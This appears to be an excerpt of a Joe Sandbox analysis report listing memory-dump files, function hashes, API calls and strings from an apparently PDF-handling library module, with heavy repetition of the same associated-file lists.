Associated: 00000003.00000002.1791211263.000000006C4BC000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4D5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4FA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C534000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C53F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C543000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C547000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C54B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792017566.000000006C54F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792050240.000000006C553000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792076880.000000006C55B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792096685.000000006C55F000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c110000_hv.jbxd

Similarity

API ID: FileProtectVirtual$AllocCreateLibraryLoadLocalRead
String ID:
API String ID: 2652859266-0
Opcode ID: 006398f2d399cde2cd71571fc7a6563b562eac517e1be7a70e0773df7c257c24
Instruction ID: d2e19fa6e56192bd62c43010ed09011be9dc77f7e01d6384b3931c6d09df1906
Opcode Fuzzy Hash: 006398f2d399cde2cd71571fc7a6563b562eac517e1be7a70e0773df7c257c24
Instruction Fuzzy Hash: B6D1B9B5A04248DFCB18CF68C990AAE7BB5BF89304F248259FD1987756D735E841CF90

Non-executed Functions

Function 6C1ED760 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#73.IEPDF32(?), ref: 6C1ED777

Part of subcall function 6C1ECEE0: #70.IEPDF32(?,?,?,?,?,?,?,?,00000000,?,?,?,?,?,?), ref: 6C1ECEEB

#73.IEPDF32(?), ref: 6C1ED80A
#73.IEPDF32(00000000,?,?,Rect), ref: 6C1ED915

Strings

BBox, xrefs: 6C1ED98A, 6C1EDA00
Rect, xrefs: 6C1ED8F7, 6C1EDAD0

Memory Dump Source

Source File: 00000003.00000002.1787854611.000000006C1C6000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C110000, based on PE: true

Associated: 00000003.00000002.1787758402.000000006C110000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C111000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C254000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C283000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C287000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C296000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C37A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C39B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C3A5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C432000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C46F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4A6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4BC000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4D5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4FA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C534000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C53F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C543000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C547000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C54B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792017566.000000006C54F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792050240.000000006C553000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792076880.000000006C55B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792096685.000000006C55F000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c110000_hv.jbxd

Similarity

API ID:
String ID: BBox$Rect
API String ID: 0-3854271352
Opcode ID: bb1987b8dfb5751abee252c3111ce46e25710573333ac620801d5b6ae2ebcc2e
Instruction ID: 0d7e089a76d7789a86ee32ae24d0cb4d1d9e33ad5858f1aa08be807726a09959
Opcode Fuzzy Hash: bb1987b8dfb5751abee252c3111ce46e25710573333ac620801d5b6ae2ebcc2e
Instruction Fuzzy Hash: 1AC1F471B016099FDB00DF65DC80AAEB7B5EFD9718F510128E919EBB40EB30E905CBA0

Function 6C354040 Relevance: 6.5, APIs: 4, Instructions: 455
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.1787854611.000000006C296000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C110000, based on PE: true

Associated: 00000003.00000002.1787758402.000000006C110000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C111000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C1C6000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C254000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C283000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C287000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C37A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C39B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C3A5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C432000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C46F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4A6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4BC000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4D5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4FA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C534000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C53F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C543000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C547000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C54B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792017566.000000006C54F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792050240.000000006C553000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792076880.000000006C55B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792096685.000000006C55F000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c110000_hv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e556f8eadd521b30a6fb6d07d695babaf2ef8fdde6a066322799f995e854dc82
Instruction ID: 83521b06163a068ecbeb5dafd9f34a2ad397bb0080ae7d888a42770490408c78
Opcode Fuzzy Hash: e556f8eadd521b30a6fb6d07d695babaf2ef8fdde6a066322799f995e854dc82
Instruction Fuzzy Hash: DB026071E012199BDB18CFA9D880A9EFBF5FF48318F648269D915E7740D731AA21CF90

Function 6C1EE610 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 327
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Type, xrefs: 6C1EF1E9
Annot, xrefs: 6C1EF201

Memory Dump Source

Source File: 00000003.00000002.1787854611.000000006C1C6000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C110000, based on PE: true

Associated: 00000003.00000002.1787758402.000000006C110000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C111000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C254000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C283000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C287000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C296000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C37A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C39B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C3A5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C432000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C46F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4A6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4BC000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4D5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4FA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C534000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C53F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C543000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C547000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C54B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792017566.000000006C54F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792050240.000000006C553000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792076880.000000006C55B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792096685.000000006C55F000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c110000_hv.jbxd

Similarity

API ID:
String ID: Annot$Type
API String ID: 0-395718979
Opcode ID: 020c7603c1d4e9bb0c1f07dcd73b9a3f1ac4b55480b35faee3f99872bc263966
Instruction ID: 496a97c215538fd12dac6db4dcd33c9872c2cf5ba8951965f1c5f6e59b8ce867
Opcode Fuzzy Hash: 020c7603c1d4e9bb0c1f07dcd73b9a3f1ac4b55480b35faee3f99872bc263966
Instruction Fuzzy Hash: 94B1D675B006188FEB14CF65C8807AEB7B5FF9D344F108869E9199BB40EB30E946CB91

Function 6C36B29F Relevance: 10.8, APIs: 7, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strrchr.LIBCMT ref: 6C36B325

Memory Dump Source

Source File: 00000003.00000002.1787854611.000000006C296000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C110000, based on PE: true

Associated: 00000003.00000002.1787758402.000000006C110000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C111000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C1C6000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C254000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C283000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C287000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C37A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C39B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C3A5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C432000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C46F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4A6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4BC000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4D5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4FA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C534000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C53F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C543000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C547000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C54B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792017566.000000006C54F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792050240.000000006C553000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792076880.000000006C55B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792096685.000000006C55F000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c110000_hv.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c8d7bd591e089ebcf2b8a6d2b931b8b3af54a35b22af1fc559c37c12d01c6543
Instruction ID: 74972162b22f52979ec1d8c5e32212b744ad38a33c9a690a54ea9351280c40dd
Opcode Fuzzy Hash: c8d7bd591e089ebcf2b8a6d2b931b8b3af54a35b22af1fc559c37c12d01c6543
Instruction Fuzzy Hash: 3CB16232A042559FDB028E6AC881BEE7BB5EF0631CF248155FA40AFB85D3719905DFA1

Function 6C1EC670 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#70.IEPDF32(?), ref: 6C1EC6A5

Strings

.9l, xrefs: 6C1ECBEB
Highlight, xrefs: 6C1ECCF0
Subtype, xrefs: 6C1ECCDB

Memory Dump Source

Source File: 00000003.00000002.1787854611.000000006C1C6000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C110000, based on PE: true

Associated: 00000003.00000002.1787758402.000000006C110000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C111000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C254000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C283000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C287000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C296000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C37A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C39B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C3A5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C432000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C46F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4A6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4BC000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4D5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4FA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C534000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C53F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C543000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C547000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C54B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792017566.000000006C54F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792050240.000000006C553000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792076880.000000006C55B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792096685.000000006C55F000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c110000_hv.jbxd

Similarity

API ID:
String ID: .9l$Highlight$Subtype
API String ID: 0-445861225
Opcode ID: 91691453aea90ee07d0abac050d8fa869fc138b93dca07eea8b9457d7605fff8
Instruction ID: e12b62c683b2837b102e9265e14b89c1de234ef31f644c3f5fb884db1f28b500
Opcode Fuzzy Hash: 91691453aea90ee07d0abac050d8fa869fc138b93dca07eea8b9457d7605fff8
Instruction Fuzzy Hash: 88210771F0091D4BEB149E658C50A7B7BA9AFAC668F110929D9289FB50E730D80687D1

Function 6C11F7A3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__Init_thread_header.LIBCMT ref: 6C11F7CF
__Init_thread_footer.LIBCMT ref: 6C11F7F4

Strings

@[Ul, xrefs: 6C11F7C3
@[Ul, xrefs: 6C11F7E0

Memory Dump Source

Source File: 00000003.00000002.1787854611.000000006C111000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C110000, based on PE: true

Associated: 00000003.00000002.1787758402.000000006C110000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C1C6000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C254000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C283000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C287000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C296000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C37A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C39B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C3A5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C432000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C46F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4A6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4BC000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4D5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4FA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C534000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C53F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C543000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C547000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C54B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792017566.000000006C54F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792050240.000000006C553000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792076880.000000006C55B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792096685.000000006C55F000.00000020.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c110000_hv.jbxd

Similarity

API ID: Init_thread_footerInit_thread_header
String ID: @[Ul$@[Ul
API String ID: 4092853384-1920492994
Opcode ID: 657ee4c8c1c7adebbd2c940618c191bf67002b20e3bd4cc0265b78993b4ea1e3
Instruction ID: e59b40e744b093118b7b2d7fa421c1cf00a9e067d182caa6ab840c31238d2465
Opcode Fuzzy Hash: 657ee4c8c1c7adebbd2c940618c191bf67002b20e3bd4cc0265b78993b4ea1e3
Instruction Fuzzy Hash: F2E02270E04244CBC5209B988C61E4873A1BB4271DFC045BAC4264EF88CF36B8258A43

Function 6C36CE12 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_wcschr.LIBVCRUNTIME ref: 6C36CF9C
_wcschr.LIBVCRUNTIME ref: 6C36CFAA

Strings

utf8, xrefs: 6C36CFDA

Memory Dump Source

Source File: 00000003.00000002.1787854611.000000006C296000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C110000, based on PE: true

Associated: 00000003.00000002.1787758402.000000006C110000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C111000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C1C6000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C254000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C283000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C287000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C37A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C39B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C3A5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C432000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C46F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4A6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4BC000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4D5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4FA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C50F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C534000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C53F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C543000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C547000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C54B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792017566.000000006C54F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1792050240.000000006C553000.00000004.00000001.01000000.00000007.sdmpDownload File
